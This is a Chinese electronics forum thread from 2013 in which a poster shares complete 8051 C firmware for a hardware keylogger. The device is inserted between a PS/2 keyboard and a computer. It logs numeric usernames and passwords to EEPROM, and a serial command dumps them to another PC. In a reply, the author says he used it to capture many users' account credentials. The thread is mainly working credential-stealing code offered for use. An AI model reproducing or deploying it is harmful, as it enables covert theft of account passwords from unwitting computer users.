迅维网

查看: 4511|回复: 15
打印 上一主题 下一主题

STC51制作的键盘记录仪

[复制链接]
跳转到指定楼层
1#
发表于 2013-11-10 21:36:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式 来自: 四川 来自 四川

马上注册,获取阅读精华内容及下载权限

您需要 登录 才可以下载或查看,没有帐号?注册

x
    把这个电路板安装主机键盘接口后面,再接键盘。电脑操作者的所有输入,可根据不同要求记录在STC90C54RD+自带的EEPROM中。取下记录仪后,连接另一个电脑的串中,通过DELPHI编写的上位机程序,读出EEPROM记录下的键盘操作内容。纯好玩,请误用于其它用途。
    赋上单片机C语言代码,DELPHI上位机程序的代码就免了。电路板图片也来一个,焊完了懒得找清洁液,别喷 ,整个电路板上只有两块集成电路,一个STC单片机芯片,一个串口转换芯片,呵呵,STC的芯片功能就是艮艮的。费话少说,直接上图。


//所用芯片为STC90C54RD+,共45K EEPROM,地址0x4000~0xf3ff。存放当前地址指针在0XF300处.
#include "reg52.h"
#include "intrins.h"
#include "eeprom.h"
#define uchar unsigned char
#define uint unsigned int
sbit key_data=P3^4;     //键盘数据脚
sbit key_clk=P3^2;                  //键盘时钟脚
bit flagkey,flaguser,keyup=0,flag_serial=0;   //flagkey为有按键按下的标志
uint  eeprom_int=0;                //存放EPROM中存放码值的个数
uchar intkey=0,keytemp=0;    //intkey为脉冲计数,keytemp为码值
uint  serial_num,inttimer=0;             //inttimer定时器计数变量,serial_num为PC发送到MCU的字符'e'或's'
uchar code keyma[11]={0x45,0x16,0x1e,0x26,0x25,0x2e,0x36,0x3d,0x3e,0x46,0x5a};  //扫描码
uchar ascnum=0,keyasc[20]={0};        //ascnum为存放码值的个数及keyasc[]数组下标,keyasc[]为存放码值的数组
void key_scan() interrupt 0       //中断0设置为读键盘数据
{
    if((intkey>0)&&(intkey<9))       //在第2到第9为数据,第1位为开始位,第10、11位直接丢弃
    {
       keytemp=keytemp>>1;           
                key_data=1;
       if(key_data)  keytemp=keytemp|0x80;   
    }
    intkey++;
    while(!key_clk);
    if(intkey>10)         //当大于10,表示数据接收完毕,关闭中断,进行数据处理
    {
           intkey=0;        //脉冲计数清零
       flagkey=1;                //有数据标志置位
       EA=0;                //暂关闭中断
    }
}

void timer() interrupt 1    //50MS产生一次中断?
{
        TH0=(65536-50000)/256;
        TH0=(65536-50000)%256;
    inttimer++;
}

void serial() interrupt 4        //串行口中断,接收PC发送的命令'e'或's'
{
        flag_serial=1;
        serial_num=SBUF;
        RI=0;
               
}
void epromwri()                //EPROM写入函数
{
        uchar i,temp1,temp2;
        if(eeprom_int<0xf300)        //在0XF300以内的地址均可写入
        {
                for(i=0;i<ascnum;i++)
                {
                        byte_write(eeprom_int,keyasc);        //将码值转换为数值写入
                        eeprom_int++;                        //eeprom_int++为字符地址或个数
                        temp1=(unsigned char)(eeprom_int>>8);
                        temp2=(unsigned char)(eeprom_int&0x00ff);
                    sector_erase(0xf300);                //重新写入前先擦除扇区
                        byte_write(0xf300,temp1);        //EPROM写入的字符地址(及字符个数)存放在地址0xf300处
                        byte_write(0xf301,temp2);
                }
        }
}
bit keymahefa()  //判断是否是数字和回车字符,如果不是,则清零,重新接收字符
{
        uchar i;
        for(i=0;i<11;i++)
        {
                if(keyma==keytemp)   //如果在keyma数组中找到相同的扫描码,将数组下标做为相对应的按键数字存入keyasc数组中
                {
                        keyasc[ascnum]=i;
                        ascnum++;
                        return 0;
                }
        }
        return 1;   //如果没有相同的扫描码,说明字符非法,返回1
}

void keypro()        //字符处理函数
{
    uchar temp1,temp2;
        keyup=0;
        if(keymahefa())                //判断字符是否合法
        {
                ascnum=0;
                if(flaguser)   //如果是非法密码字符,则EPROM存入位置指针提前到用户名的位置,重新存入用户名
                {
                        eeprom_int-=6;
                        temp1=(unsigned char)(eeprom_int>>8);
                        temp2=(unsigned char)(eeprom_int&0x00ff);
                    sector_erase(0xf300);                //重新写入前先擦除扇区
                        byte_write(0xf300,temp1);        //EPROM写入的字符地址(及字符个数)存放在地址0xf300处
                        byte_write(0xf301,temp2);
                }
                flaguser=0;
                return;
        }
        if(keytemp==0x5a)  //在回车产生
        {
                if(flaguser&&(ascnum<20))  //有回车,且密码标志和总字符数少于20个字符,存入密码
                {
                        epromwri();                           //存入EPROM
                        flaguser=0;
                        ascnum=0;
                }
                else if(ascnum==6)    //有回车,且字符数是5+1个,则做为用户名存入
                {
                        epromwri();         //存入EPROM
                        flaguser=1;
                        ascnum=0;
                }
                else      //如果回车产生在其它位置,则清零,重新接收字符
                {
                        ascnum=0;
                        if(flaguser)
                        {
                                eeprom_int-=6;
                                temp1=(unsigned char)(eeprom_int>>8);
                                temp2=(unsigned char)(eeprom_int&0x00ff);
                            sector_erase(0xf300);                //重新写入前先擦除扇区
                                byte_write(0xf300,temp1);        //EPROM写入的字符地址(及字符个数)存放在地址0xf300处
                                byte_write(0xf301,temp2);
                        }
                        flaguser=0;
                }
        }
}

void main()
{
        uchar i,send_char;        //send_char发送到PC的按键码值
        uint addr_sector,addr_sendbyte;   //addr_sector为擦除扇区的地址,addr_sendbyte为EPROM发送码值的字节地址
    TMOD=0X21;                  //定时器1,方式2,为串行口设置.定时器0做为计数器使用
        TH0=(65536-50000)/256;
        TH0=(65536-50000)%256;
        TH1=TL1=0XFD;          //串行口波特率为9600
        TR1=1;                         //计数打开
        SCON=0X50;                //工作方式1,不接收数,如果允许接收PC数据,为SCON=0X50
        ET0=1;                //允许定时器0中断
        ES=1;                //允许串行口中断
        TR0=1;

    EX0=1;     //外部中断0有效
    IT0=1;    //下降沿触发
        EA=1;     //开总中断

        eeprom_int=byte_read(0xf300);
        eeprom_int=(eeprom_int<<8)|byte_read(0xf301);
        while(1)
    {
          if(inttimer>=600)    //此语句非常重量,主要是消除电脑启动和运行中所产生的干扰脉冲,得到正确码值
          {                                                 //变量=20,间隔1秒;变量=6000时,间隔5分钟。
              inttimer=0;
                  intkey=0;
                  keytemp=0;      //这几个变量清零后,得到正确的按键开始脉冲
          }   
          if(flagkey)                  //有按键产生,进入EEPROM写入函数
          {
              flagkey=0;
                  if(keyup) keypro();   //如果按键松开标志KEYUP置1,则进入keypro函数进行处理
                  if(keytemp==0xf0) keyup=1;   //如果按键扫描码为0XF0,则表示有按键松开,否则KEYUP置0
                  keytemp=0;   //扫描码临时变量清零,进行入下一个读取进程
          EA=1;
           }
           if(flag_serial)        //有PC发送命令
           {
                     flag_serial=0;
                  switch(serial_num)
                  {
                          case  'e':                //为e时,执行擦除所有扇区操作,从0X4000开始,90个扇区,第一次使用前必须使用此功能
                                addr_sector=0x4000;
                                for(i=1;i<=90;i++)
                                {
                                        sector_erase(addr_sector);
                                        addr_sector=addr_sector+0x200;        //每个扇区间隔512个字节
                                }                               
                                byte_write(0xf300,0x40);        //在0XF300地址处写入首地址
                                byte_write(0xf301,0);
                                eeprom_int=0x4000;        //清除数据后,字符地址(或字符个数)为首地址
                                break;
                        case  's':        //为s时,将EEPROM中数值转换后发送到PC
                                for(addr_sendbyte=0x4000;addr_sendbyte<eeprom_int;addr_sendbyte++)    //从0X4000处开始,eeprom_int结束
                                {
                                        send_char=byte_read(addr_sendbyte);        //读当前字节内容
                                        ES=0;
                                        if(send_char==10)         //如果为10说明是回车,发送空格,便于在PC上观察
                                        {
                                                SBUF=32;
                                                while(!TI);
                                                TI=0;
                                        }
                                        else
                                        {
                                                SBUF=send_char+48;        //将数值加48后发送相应的ASCII到PC,便于观察
                                                while(!TI);                                       
                                                TI=0;
                                        }
                                        ES=1;
                                }
                                break;
                   }
           }
    }
}





评分

参与人数 1下载分 +5 收起 理由
記憶殘缺 + 5 赞一个!

查看全部评分

2#
发表于 2013-11-10 22:17:55 | 只看该作者 来自: 贵州贵阳 来自 贵州贵阳
基于硬件底层了,这种文章不错。虽然这种东西国外早就有实物了,不过相关资料非常少也只是在一个网络安全的杂志上面看到过。

回复 支持 反对

使用道具 举报

3#
发表于 2013-11-10 22:40:26 | 只看该作者 来自: 广西南宁 来自 广西南宁
这芯片,能存多大容量?

回复 支持 反对

使用道具 举报

4#
发表于 2013-11-10 22:50:08 | 只看该作者 来自: 上海杨浦区 来自 上海杨浦区
如果不是转载的。楼主大神啊!~

回复 支持 反对

使用道具 举报

5#
发表于 2013-11-10 23:23:23 | 只看该作者 来自: 浙江嘉兴 来自 浙江嘉兴
就是单片机吧 一个哥们在学  不知道怎么样

回复 支持 反对

使用道具 举报

6#
发表于 2013-11-10 23:28:28 | 只看该作者 来自: 陕西西安 来自 陕西西安
这是记录键盘的敲击次数??

回复 支持 反对

使用道具 举报

7#
发表于 2013-11-11 09:46:55 | 只看该作者 来自: 四川自贡 来自 四川自贡
如果不是转载的。楼主大神啊!~
=====================
基于硬件底层了,这种文章不错。虽然这种东西国外早就有实物了,不过相关资料非常少也只是在一个网络安全的杂志上面看到过。
===============================

绝对原创,其实并不复杂,会玩单片机的都应该会。至于相关资料,其实只要把PS接口搞懂就行。
曾试过,读取了N个用户的某类帐号和密码。
不管怎样,也只是玩玩的,可不想蹲班房。没能创收,所以现在开始学主板和笔记本维修了。

回复 支持 反对

使用道具 举报

8#
发表于 2013-11-11 09:54:28 | 只看该作者 来自: 四川自贡 来自 四川自贡


回复 支持 反对

使用道具 举报

9#
发表于 2013-11-11 09:56:29 | 只看该作者 来自: 四川自贡 来自 四川自贡
楼上第二张为DELPHI语言写的WINDOWS下的上位机程序,通过串口读取单片机EEPROM里面的数据。

回复 支持 反对

使用道具 举报

10#
发表于 2013-11-11 22:16:51 | 只看该作者 来自: 四川 来自 四川
回复 支持 反对

使用道具 举报

11#
发表于 2013-11-11 22:18:00 | 只看该作者 来自: 四川 来自 四川
記憶殘缺 发表于 2013-11-10 22:50
如果不是转载的。楼主大神啊!~

当然原创,来赚点下载分。第一次不知道,还是充的10RMB呢

点评

给你加分了。。。  详情 回复 发表于 2013-11-12 10:56
回复 支持 反对

使用道具 举报

12#
发表于 2013-11-12 10:56:02 | 只看该作者 来自: 上海杨浦区 来自 上海杨浦区
蟒山 发表于 2013-11-11 22:18
当然原创,来赚点下载分。第一次不知道,还是充的10RMB呢

给你加分了。。。

回复 支持 反对

使用道具 举报

13#
发表于 2013-11-12 12:26:43 | 只看该作者 来自: 四川自贡 来自 四川自贡
記憶殘缺 发表于 2013-11-12 10:56
给你加分了。。。


回复 支持 反对

使用道具 举报

14#
发表于 2013-11-17 20:05:19 | 只看该作者 来自: 北京 来自 北京
这个可以啊 谢谢楼主分享                                 

回复 支持 反对

使用道具 举报

15#
发表于 2014-4-4 18:22:07 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
"eeprom.h"怎么没有

回复 支持 反对

使用道具 举报

16#
发表于 2014-5-17 16:47:11 | 只看该作者 来自: 湖北 来自 湖北
不懂,这个是用来干啥的?

回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表
附近
店铺
微信扫码查看附近店铺
维修
报价
扫码查看手机版报价
信号元
件查询
点位图 AI维修
助手



芯片搜索

快速回复